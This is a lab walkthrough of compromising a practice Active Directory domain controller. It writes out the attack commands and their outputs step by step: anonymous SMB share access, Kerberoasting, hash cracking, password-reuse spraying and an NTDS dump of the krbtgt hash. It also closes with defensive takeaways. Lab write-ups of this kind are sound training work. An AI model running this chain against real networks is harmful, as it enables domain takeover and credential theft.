December 3, 2026
MartiniAD: Active Directory Domain Compromise
Introduction

By INTELEON404
9 min read
Introduction
MartiniAD is a Medium-difficulty Active Directory lab from Hack Smarter Labs, and it's a great example of how a handful of small, individually "minor" misconfigurations can chain together into a full domain compromise. The engagement starts cold โ VPN access to the internal network, but no credentials at all.
In this walkthrough, I'll cover the complete attack path: anonymous SMB access that leaks plaintext credentials, a Kerberoasting attack against a weakly-secured service account, password reuse that escalates to administrative access, and a final NTDS dump that recovers the krbtgt hash. Along the way, I'll also document where things didn't go cleanly โ specifically a failed BloodHound collection and a batch of NETBIOS timeouts โ because an honest writeup should distinguish between what worked, what failed, and what was simply inconclusive
Objective
An adult beverage company, "Martini Bars," recently suffered a corporate breach. In response, their compliance and risk team commissioned an internal penetration test at one of their branch offices, and the Hack Smarter team was authorized to perform an internal black-box assessment.
The client provided VPN access to their internal network, but no credentials โ this is a classic "assumed breach" or black-box starting position.
Scope
Target: 10.1.60.242
Recon
Port Scanning
I started with RustScan for fast initial port discovery, using a batch size of 500 and a 5-second timeout. The open ports it finds are piped directly into Nmap for service fingerprinting: -Pn skips host discovery (useful since ICMP is often filtered), -n disables DNS resolution to save time, -sT runs a full TCP connect scan, and -sC/-sV run the default NSE scripts and version detection, respectively.
sudo rustscan -a $IP -b 500 -t 5000 -- -Pn -n -sT -sC -sV
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-07-23 21:20:05Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 126
3389/tcp open ms-wbt-server syn-ack ttl 126
| ssl-cert: Subject: commonName=DC01.DRY.MARTINI.BARS
| Issuer: commonName=DC01.DRY.MARTINI.BARS
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-07-22T21:00:54
| Not valid after: 2027-01-21T21:00:54
| MD5: e901 1177 696b 0daa 0f52 63e8 2f1b 4038
| SHA-1: ab4b b220 026b a310 e846 bd43 66d0 3d4e 7be8 8db9
| SHA-256: ab7a c2be 0001 de80 25b6 2ac0 9b27 9df5 3691 1f4a faed 00b3 150a 105e f870 0ebd
| rdp-ntlm-info:
| Target_Name: DRY
| NetBIOS_Domain_Name: DRY
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: DRY.MARTINI.BARS
| DNS_Computer_Name: DC01.DRY.MARTINI.BARS
| DNS_Tree_Name: DRY.MARTINI.BARS
| Product_Version: 10.0.26100
|_ System_Time: 2026-07-23T21:20:54+00:00
|_ssl-date: TLS randomness does not represent time
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49672/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49695/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49706/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
51021/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPCsudo rustscan -a $IP -b 500 -t 5000 -- -Pn -n -sT -sC -sV
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-07-23 21:20:05Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 126
3389/tcp open ms-wbt-server syn-ack ttl 126
| ssl-cert: Subject: commonName=DC01.DRY.MARTINI.BARS
| Issuer: commonName=DC01.DRY.MARTINI.BARS
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-07-22T21:00:54
| Not valid after: 2027-01-21T21:00:54
| MD5: e901 1177 696b 0daa 0f52 63e8 2f1b 4038
| SHA-1: ab4b b220 026b a310 e846 bd43 66d0 3d4e 7be8 8db9
| SHA-256: ab7a c2be 0001 de80 25b6 2ac0 9b27 9df5 3691 1f4a faed 00b3 150a 105e f870 0ebd
| rdp-ntlm-info:
| Target_Name: DRY
| NetBIOS_Domain_Name: DRY
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: DRY.MARTINI.BARS
| DNS_Computer_Name: DC01.DRY.MARTINI.BARS
| DNS_Tree_Name: DRY.MARTINI.BARS
| Product_Version: 10.0.26100
|_ System_Time: 2026-07-23T21:20:54+00:00
|_ssl-date: TLS randomness does not represent time
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49672/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49695/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49706/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
51021/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPCThe port spread (88, 389, 445, 464, 3268, 9389, and friends) is a textbook Domain Controller fingerprint. The RDP certificate's commonName and the rdp-ntlm-info block also hand us the hostname and domain for free, before we've authenticated anywhere.
Key Findings
Attribute Identified Information Hostname DC01 Host Role Domain Controller Active Directory Domain DRY.MARTINI.BARS SMB Signing Enabled, but not required RDP Certificate CN DC01.DRY.MARTINI.BARS Certificate Public Key RSA 2048-bit Windows Product Version 10.0.26100
SMB signing being "enabled but not required" is worth flagging โ it means the server supports signed SMB sessions but won't refuse an unsigned one, which keeps relay-style attacks on the table even though we didn't need them here.
SMB Enumeration
Following the AD Mindmap, the next step in any internal AD engagement is checking whether anonymous or Guest authentication is permitted โ a quick, low-noise check that can reveal accessible shares without needing valid credentials at all.
I used NetExec to test anonymous authentication and enumerate the available shares.
Command:
nxc smb 10.1.60.242 -u 'anonymous' -p '' --sharesnxc smb 10.1.60.242 -u 'anonymous' -p '' --sharesOutput:
SMB 10.1.60.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB 10.1.60.242 445 DC01 [+] DRY.MARTINI.BARS\anonymous: (Guest)
SMB 10.1.60.242 445 DC01 [*] Enumerated shares
SMB 10.1.60.242 445 DC01 Share Permissions Remark
SMB 10.1.60.242 445 DC01 ----- ----------- ------
SMB 10.1.60.242 445 DC01 ADMIN$ Remote Admin
SMB 10.1.60.242 445 DC01 C$ Default share
SMB 10.1.60.242 445 DC01 IPC$ READ Remote IPC
SMB 10.1.60.242 445 DC01 NETLOGON Logon server share
SMB 10.1.60.242 445 DC01 notes READ,WRITE
SMB 10.1.60.242 445 DC01 SYSVOL Logon server shareSMB 10.1.60.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB 10.1.60.242 445 DC01 [+] DRY.MARTINI.BARS\anonymous: (Guest)
SMB 10.1.60.242 445 DC01 [*] Enumerated shares
SMB 10.1.60.242 445 DC01 Share Permissions Remark
SMB 10.1.60.242 445 DC01 ----- ----------- ------
SMB 10.1.60.242 445 DC01 ADMIN$ Remote Admin
SMB 10.1.60.242 445 DC01 C$ Default share
SMB 10.1.60.242 445 DC01 IPC$ READ Remote IPC
SMB 10.1.60.242 445 DC01 NETLOGON Logon server share
SMB 10.1.60.242 445 DC01 notes READ,WRITE
SMB 10.1.60.242 445 DC01 SYSVOL Logon server shareAnonymous authentication mapped to Guest, with READ and WRITE permissions on the notes share.
Anonymous login succeeds and maps to the Guest account, which has READ access on IPC$ and, more interestingly, READ,WRITE access on a non-standard share named notes. A writable share reachable by Guest is an immediate red flag โ it's also usually readable, which is exactly what matters here.
Access as mprice
I connected to the notes share with anonymous credentials and pulled down the only file in it, notes.txt.
Connect to the SMB share:
smbclient //10.1.60.242/notes -U anonymous%smbclient //10.1.60.242/notes -U anonymous%List and download the file:
smb: \> ls
. D 0 Thu Dec 3 17:54:30 2026
.. DHS 0 Sat Jan 17 22:38:33 2026
notes.txt A 129 Sat Jan 17 22:38:47 2026
smb: \> get notes.txt
getting file \notes.txt of size 129 as notes.txt
smb: \> exitsmb: \> ls
. D 0 Thu Dec 3 17:54:30 2026
.. DHS 0 Sat Jan 17 22:38:33 2026
notes.txt A 129 Sat Jan 17 22:38:47 2026
smb: \> get notes.txt
getting file \notes.txt of size 129 as notes.txt
smb: \> exitRead the downloaded file:
cat notes.txtcat notes.txtOutput:
- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint
creds
mprice:*martini*- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint
creds
mprice:*martini*Buried under some personal to-do items, notes.txt contains plaintext credentials for a domain user:
- Username:
mprice - Password:
*martini*
I validated these credentials with NetExec and re-ran the share enumeration to see what additional access they grant.
Command:
nxc smb 10.1.60.242 -u 'mprice' -p '*martini*' --sharesnxc smb 10.1.60.242 -u 'mprice' -p '*martini*' --sharesOutput:
SMB 10.1.60.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB 10.1.60.242 445 DC01 [+] DRY.MARTINI.BARS\mprice:*martini*
SMB 10.1.60.242 445 DC01 [*] Enumerated shares
SMB 10.1.60.242 445 DC01 Share Permissions Remark
SMB 10.1.60.242 445 DC01 ----- ----------- ------
SMB 10.1.60.242 445 DC01 ADMIN$ Remote Admin
SMB 10.1.60.242 445 DC01 C$ Default share
SMB 10.1.60.242 445 DC01 IPC$ READ Remote IPC
SMB 10.1.60.242 445 DC01 NETLOGON READ Logon server share
SMB 10.1.60.242 445 DC01 notes READ,WRITE
SMB 10.1.60.242 445 DC01 SYSVOL READ Logon server shareSMB 10.1.60.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB 10.1.60.242 445 DC01 [+] DRY.MARTINI.BARS\mprice:*martini*
SMB 10.1.60.242 445 DC01 [*] Enumerated shares
SMB 10.1.60.242 445 DC01 Share Permissions Remark
SMB 10.1.60.242 445 DC01 ----- ----------- ------
SMB 10.1.60.242 445 DC01 ADMIN$ Remote Admin
SMB 10.1.60.242 445 DC01 C$ Default share
SMB 10.1.60.242 445 DC01 IPC$ READ Remote IPC
SMB 10.1.60.242 445 DC01 NETLOGON READ Logon server share
SMB 10.1.60.242 445 DC01 notes READ,WRITE
SMB 10.1.60.242 445 DC01 SYSVOL READ Logon server shareValidating the mprice credentials and enumerating accessible SMB shares with NetExec.
The credentials are valid. Compared to the anonymous session, mprice additionally gets READ on NETLOGON and SYSVOL, while retaining READ,WRITE on notes. No new shares surface at this stage.
BloodHound Enumeration (Failed)
With a valid domain account in hand, the obvious next move is to collect the domain with BloodHound for graph-based privilege-escalation analysis. I pointed NetExec at the domain controller's DNS service with --dns-server so the collector could resolve the records it needed.
nxc ldap 10.1.60.242 -u 'mprice' -p '*martini*' --bloodhound --collection All --dns-server 10.1.60.242
LDAP 10.1.60.242 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel binding:No TLS cert)
LDAP 10.1.60.242 389 DC01 [+] DRY.MARTINI.BARS\mprice:*martini*
LDAP 10.1.60.242 389 DC01 [*] Resolved collection methods: objectprops, localadmin, group, trusts, rdp, container, acl, psremote, dcom, session
LDAP 10.1.60.242 389 DC01 [-] BloodHound collection failed: LDAPSocketOpenError - socket ssl wrapping error: [Errno 104] Connection reset by peernxc ldap 10.1.60.242 -u 'mprice' -p '*martini*' --bloodhound --collection All --dns-server 10.1.60.242
LDAP 10.1.60.242 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:Enforced) (channel binding:No TLS cert)
LDAP 10.1.60.242 389 DC01 [+] DRY.MARTINI.BARS\mprice:*martini*
LDAP 10.1.60.242 389 DC01 [*] Resolved collection methods: objectprops, localadmin, group, trusts, rdp, container, acl, psremote, dcom, session
LDAP 10.1.60.242 389 DC01 [-] BloodHound collection failed: LDAPSocketOpenError - socket ssl wrapping error: [Errno 104] Connection reset by peerThis collection attempt failed. Authentication succeeds and every requested collection method resolves, but the actual data pull breaks down when NetExec tries to negotiate the TLS connection for LDAPS โ the connection is reset mid-handshake. The accompanying channel binding:No TLS cert note is a related symptom: NetExec couldn't retrieve a usable TLS certificate from the domain controller during this exchange.
Since graph-based enumeration was blocked by this LDAP/TLS issue, I moved on to Kerberoasting instead, which only requires a valid domain account and doesn't depend on the LDAPS collection path.
From Kerberoasting to Domain Access: ATHENA_SVC
While enumerating the domain, I identified an account named ATHENA_SVC with an associated Service Principal Name (SPN) โ a classic Kerberoasting target, since any authenticated domain user can request a TGS ticket for an SPN-bearing account and attempt to crack it offline.
1. Kerberoasting
Command:
nxc ldap 10.1.60.242 -u 'mprice' -p '*martini*' --kerberoasting kerberoast.txt --kdcHost 10.1.60.242nxc ldap 10.1.60.242 -u 'mprice' -p '*martini*' --kerberoasting kerberoast.txt --kdcHost 10.1.60.242This successfully retrieved the TGS hash for ATHENA_SVC, encrypted with Kerberos etype 23 (RC4), and saved it to kerberoast.txt. RC4-encrypted tickets are significant because they're crackable offline at a much higher rate than AES-encrypted ones, making a weak password on the target account the deciding factor.
2. Crack the TGS Hash
Command:
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txtjohn kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txtOutput:
1dirtymartini (?)1dirtymartini (?)The hash cracked successfully against the RockYou wordlist.
Recovered Credentials:
Field Value Username ATHENA_SVC Password 1dirtymartini
3. Validate Credentials via SMB
Command:
nxc smb 10.1.60.242 -u 'ATHENA_SVC' -p '1dirtymartini' --sharesnxc smb 10.1.60.242 -u 'ATHENA_SVC' -p '1dirtymartini' --sharesOutput:
SMB 10.1.60.242 445 DC01 [+] DRY.MARTINI.BARS\ATHENA_SVC:1dirtymartini
Share Permissions
----- -----------
ADMIN$
C$
IPC$ READ
NETLOGON READ
notes READ,WRITE
SYSVOL READSMB 10.1.60.242 445 DC01 [+] DRY.MARTINI.BARS\ATHENA_SVC:1dirtymartini
Share Permissions
----- -----------
ADMIN$
C$
IPC$ READ
NETLOGON READ
notes READ,WRITE
SYSVOL READAuthentication succeeded. ATHENA_SVC has READ,WRITE on notes and READ on IPC$, NETLOGON, and SYSVOL โ confirming the cracked service-account credentials are valid for SMB access against DC01 (10.1.60.242), though at this point they carry no elevated privileges of their own.
From Credential Reuse to Administrative Access: athena.t0
With ATHENA_SVC access in hand, I enumerated the domain's user accounts and found a second, similarly-named account: athena.t0. Given the naming pattern, password reuse between the two seemed worth testing.
1. Enumerate Domain Users
Command:
nxc smb 10.1.60.242 -u 'ATHENA_SVC' -p '1dirtymartini' --usersnxc smb 10.1.60.242 -u 'ATHENA_SVC' -p '1dirtymartini' --usersOutput:
Username
---------
Administrator
Guest
krbtgt
mprice
athena.t0
ATHENA_SVC
[*] Enumerated 6 local users: DRYUsername
---------
Administrator
Guest
krbtgt
mprice
athena.t0
ATHENA_SVC
[*] Enumerated 6 local users: DRYSix domain accounts were identified, athena.t0 among them.
2. Create a User List
Command:
cat > users.txt << 'EOF'
Administrator
Guest
krbtgt
mprice
athena.t0
ATHENA_SVC
EOFcat > users.txt << 'EOF'
Administrator
Guest
krbtgt
mprice
athena.t0
ATHENA_SVC
EOF3. Password Reuse Testing
I tested the ATHENA_SVC password against every enumerated account to check for reuse.
Command:
nxc smb 10.1.60.242 -u users.txt -p '1dirtymartini' --continue-on-success --dns-server 10.1.60.242nxc smb 10.1.60.242 -u users.txt -p '1dirtymartini' --continue-on-success --dns-server 10.1.60.242Output:
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Error checking if user is admin on 10.1.60.242:
The NETBIOS connection with the remote host timed out.
[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini
[+] DRY.MARTINI.BARS\ATHENA_SVC:1dirtymartini[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Connection Error: The NETBIOS connection with the remote host timed out.
[-] Error checking if user is admin on 10.1.60.242:
The NETBIOS connection with the remote host timed out.
[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini
[+] DRY.MARTINI.BARS\ATHENA_SVC:1dirtymartiniResults are mixed. The first four account checks hit NETBIOS connection timeouts โ these are inconclusive, not failures in the sense of "wrong password." They simply mean the target didn't respond in time, and no pass/fail verdict can be drawn for those accounts from this run. Two accounts, however, authenticated successfully: athena.t0 and ATHENA_SVC both accept the password 1dirtymartini, confirming password reuse between the two.
4. Validate athena.t0 Credentials
Command:
nxc smb 10.1.60.242 -u 'athena.t0' -p '1dirtymartini' --sharesnxc smb 10.1.60.242 -u 'athena.t0' -p '1dirtymartini' --sharesOutput:
[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
Share Permissions
----- -----------
ADMIN$ READ,WRITE
C$ READ,WRITE
IPC$ READ
NETLOGON READ,WRITE
notes READ,WRITE
SYSVOL READ,WRITE[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
Share Permissions
----- -----------
ADMIN$ READ,WRITE
C$ READ,WRITE
IPC$ READ
NETLOGON READ,WRITE
notes READ,WRITE
SYSVOL READ,WRITENetExec's (Pwn3d!) tag confirms local administrative access to DC01 for the athena.t0 account โ note this is admin rights on the host, not a confirmed Domain Admins group membership, which wasn't separately verified here. The account also carries READ,WRITE on ADMIN$, C$, NETLOGON, notes, and SYSVOL.
Conclusion
The ATHENA_SVC service-account password was reused by the athena.t0 domain account, and that reuse translated directly into administrative access on the domain controller. This is a textbook illustration of how a single weak, Kerberoastable service-account password can cascade into much broader compromise once it's reused elsewhere.
NTDS Dump
The krbtgt account encrypts and signs all Kerberos Ticket-Granting Tickets (TGTs) in the domain. Its NT hash is extremely sensitive โ in the wrong hands it enables Golden Ticket attacks, letting an attacker forge valid TGTs for any account, including ones that don't exist.
With administrative access through athena.t0, I used NetExec to dump the krbtgt hash directly from the domain controller's NTDS database.
1. Extract the krbtgt Hash
Command:
nxc smb 10.1.60.242 -u 'athena.t0' -p '1dirtymartini' --ntds --user krbtgtnxc smb 10.1.60.242 -u 'athena.t0' -p '1dirtymartini' --ntds --user krbtgtOutput:
[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
[+] Dumping the NTDS...
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:22ebc290e67668629c8d0812662a9c51:::
[+] Dumped 1 NTDS hashes[+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)
[+] Dumping the NTDS...
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:22ebc290e67668629c8d0812662a9c51:::
[+] Dumped 1 NTDS hashes2. Recovered krbtgt Hash
22ebc290e67668629c8d0812662a9c5122ebc290e67668629c8d0812662a9c51The extraction succeeded. NetExec pulled the krbtgt NT hash cleanly from DC01 (10.1.60.242), and this hash was submitted as the lab flag, completing the domain compromise objective.
Final Thoughts
MartiniAD is a strong demonstration of how a low-privileged, "throwaway" domain account can be the thread that unravels an entire Active Directory environment. No single step here was exotic โ every technique is standard tradecraft โ but chained together, they added up to full domain controller compromise.
The path ran: anonymous SMB access exposed plaintext credentials for mprice โ those credentials enabled domain enumeration and identification of the Kerberoastable ATHENA_SVC service account โ the TGS hash cracked easily against RockYou โ the recovered password was reused by athena.t0, granting local administrative access on DC01 โ that access was used to dump the krbtgt hash via NTDS. Along the way, BloodHound collection failed outright on an LDAPS handshake issue, and a batch of password-spray attempts were inconclusive due to NETBIOS timeouts โ both worth noting precisely because real engagements rarely go perfectly clean.
Key Takeaways:
- Anonymous SMB/Guest access should never be able to reach writable shares containing sensitive files.
- Service accounts with SPNs need long, random, non-dictionary passwords โ Kerberoasting only works because the underlying password is crackable.
- Password reuse across accounts (even accounts that look related by naming convention) turns a single compromised credential into a much bigger problem.
- Local administrative rights on a domain controller are equivalent to full domain compromise; least-privilege access controls matter.
- The
krbtgthash must be tightly protected and rotated on a regular schedule, since its exposure enables long-term persistence via Golden Tickets.
This lab is a good reminder that Active Directory penetration testing is as much about chaining small, mundane findings together as it is about any single flashy exploit โ and that documenting failures and inconclusive results honestly is just as important as documenting the wins.
The client has provided you with VPN access to their internal network, but no credentials.